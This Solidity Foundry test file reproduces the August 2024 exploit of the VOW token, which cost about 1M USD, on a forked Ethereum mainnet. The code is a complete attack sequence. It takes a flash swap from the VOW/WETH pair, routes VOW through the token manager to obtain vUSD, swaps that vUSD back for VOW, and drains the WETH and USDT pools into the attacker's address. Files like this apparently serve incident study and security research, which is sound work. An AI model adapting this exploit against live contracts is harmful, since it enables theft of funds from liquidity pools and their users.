src/test/2024-08/VOW_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6import "forge-std/Test.sol";
7 
8// @KeyInfo - Total Lost : ~ 1M USD
9// Attacker : https://etherscan.io/address/0x48de6bf9e301946b0a32b053804c61dc5f00c0c3
10// Attack Contract : https://etherscan.io/address/0xb7f221e373e3f44409f91c233477ec2859261758
11// Vulnerable Contract : https://etherscan.io/address/0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb
12// Attack Tx : https://etherscan.io/tx/0x758efef41e60c0f218682e2fa027c54d8b67029d193dd7277d6a881a24b9a561
13 
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb#code
16 
17// @Analysis
18// Post-mortem :
19// Twitter Guy :
20// Hacking God :
21pragma solidity ^0.8.0;
22 
23contract VOW is BaseTestWithBalanceLog {
24    uint256 blocknumToForkFrom = 20_519_309 - 1;
25 
26    address private constant VOW_WETH_Pair = 0x7FdEB46b3a0916630f36E886D675602b1007Fcbb;
27    address private constant vUSD_VOW_Pair = 0x97BE09f2523B39B835Da9EA3857CfA1D3C660cBb;
28    address private constant VOW_USDT_Pair = 0x1E49768714E438E789047f48FD386686a5707db2;
29 
30    address private constant vscTokenManager = 0x184497031808F2b6A2126886C712CC41f146E5dC;
31    address private constant vow = 0x1BBf25e71EC48B84d773809B4bA55B6F4bE946Fb;
32    address private constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
33    address private constant vUSD = 0x0fc6C0465C9739d4a42dAca22eB3b2CB0Eb9937A;
34    address private constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
35 
36    address private constant attacker = 0x48de6bF9e301946b0a32b053804c61DC5f00c0c3;
37 
38    function setUp() public {
39        vm.createSelectFork("mainnet", blocknumToForkFrom);
40 
41        vm.startPrank(attacker);
42        IERC20(vow).approve(address(address(this)), type(uint256).max);
43        IERC20(vUSD).approve(address(address(this)), type(uint256).max);
44        vm.stopPrank();
45    }
46 
47    function testExploit() public balanceLog {
48        //implement exploit code here
49        emit log_named_decimal_uint(
50            "Before exploit VOW balance of attacker:", IERC20(vow).balanceOf(attacker), IERC20(vow).decimals()
51        );
52        emit log_named_decimal_uint(
53            "Before exploit USDT balance of attacker:", IERC20(usdt).balanceOf(attacker), IERC20(usdt).decimals()
54        );
55        emit log_named_decimal_uint("Before exploit ETH balance of attacker:", attacker.balance, 18);
56 
57        uint256 vowBalance = IERC20(vow).balanceOf(VOW_WETH_Pair);
58        Uni_Pair_V2(VOW_WETH_Pair).swap(vowBalance - 1, 0, address(this), hex"00");
59 
60        vowBalance = IERC20(vow).balanceOf(address(this));
61        IERC20(vow).transfer(attacker, vowBalance / 10);
62        (uint112 reserve0, uint112 reserve1,) = Uni_Pair_V2(VOW_WETH_Pair).getReserves();
63        vowBalance = IERC20(vow).balanceOf(address(this));
64        IERC20(vow).transfer(VOW_WETH_Pair, vowBalance / 2);
65 
66        uint256 amount0In = IERC20(vow).balanceOf(VOW_WETH_Pair) - reserve0;
67        uint256 amount1Out = getAmount1Out(reserve0, reserve1, amount0In);
68        Uni_Pair_V2(VOW_WETH_Pair).swap(0, amount1Out, address(this), hex"");
69        IWETH(payable(weth)).withdraw(amount1Out);
70        (bool success,) = attacker.call{value: amount1Out}("");
71        require(success, "Fail to send eth");
72 
73        (reserve0, reserve1,) = Uni_Pair_V2(VOW_USDT_Pair).getReserves();
74        IERC20(vow).transfer(VOW_USDT_Pair, IERC20(vow).balanceOf(address(this)));
75        amount0In = IERC20(vow).balanceOf(VOW_USDT_Pair) - reserve0;
76        amount1Out = getAmount1Out(reserve0, reserve1, amount0In);
77        Uni_Pair_V2(VOW_USDT_Pair).swap(0, amount1Out, address(this), hex"");
78        (success,) = usdt.call(
79            abi.encodeWithSignature("transfer(address,uint256)", attacker, IERC20(usdt).balanceOf(address(this)))
80        );
81        require(success, "Fail to transfer USDT");
82 
83        emit log_named_decimal_uint(
84            "After exploit: VOW balance of attacker:", IERC20(vow).balanceOf(attacker), IERC20(vow).decimals()
85        );
86        emit log_named_decimal_uint(
87            "After exploit: USDT balance of attacker:", IERC20(usdt).balanceOf(attacker), IERC20(usdt).decimals()
88        );
89        emit log_named_decimal_uint("After exploit: ETH balance of attacker:", attacker.balance, 18);
90    }
91 
92    function uniswapV2Call(address sender, uint256 amount0, uint256, bytes calldata) external {
93        require(msg.sender == VOW_WETH_Pair, "not from pool");
94        require(sender == address(this), "not from this contract");
95 
96        IERC20(vow).transfer(attacker, amount0);
97 
98        IERC20(vow).transferFrom(attacker, vscTokenManager, amount0);
99 
100        uint256 vUSDBalance = IERC20(vUSD).balanceOf(attacker);
101        IERC20(vUSD).transferFrom(attacker, address(this), vUSDBalance);
102        (uint112 reserve0, uint112 reserve1,) = Uni_Pair_V2(vUSD_VOW_Pair).getReserves();
103        IERC20(vUSD).transfer(vUSD_VOW_Pair, vUSDBalance);
104 
105        uint256 amount0In = IERC20(vUSD).balanceOf(vUSD_VOW_Pair) - reserve0;
106        uint256 amount1Out = getAmount1Out(reserve0, reserve1, amount0In);
107        Uni_Pair_V2(vUSD_VOW_Pair).swap(0, amount1Out, address(this), hex"");
108 
109        uint256 fee = amount0 * 3 / 997 + 1000;
110        uint256 amountToPay = amount0 + fee;
111        IERC20(vow).transfer(VOW_WETH_Pair, amountToPay);
112    }
113 
114    function getAmount1Out(uint112 reserve0, uint112 reserve1, uint256 amount0In) private pure returns (uint256) {
115        return reserve1 * 997 * amount0In / (1000 * reserve0 + 997 * amount0In);
116    }
117 
118    receive() external payable {}
119}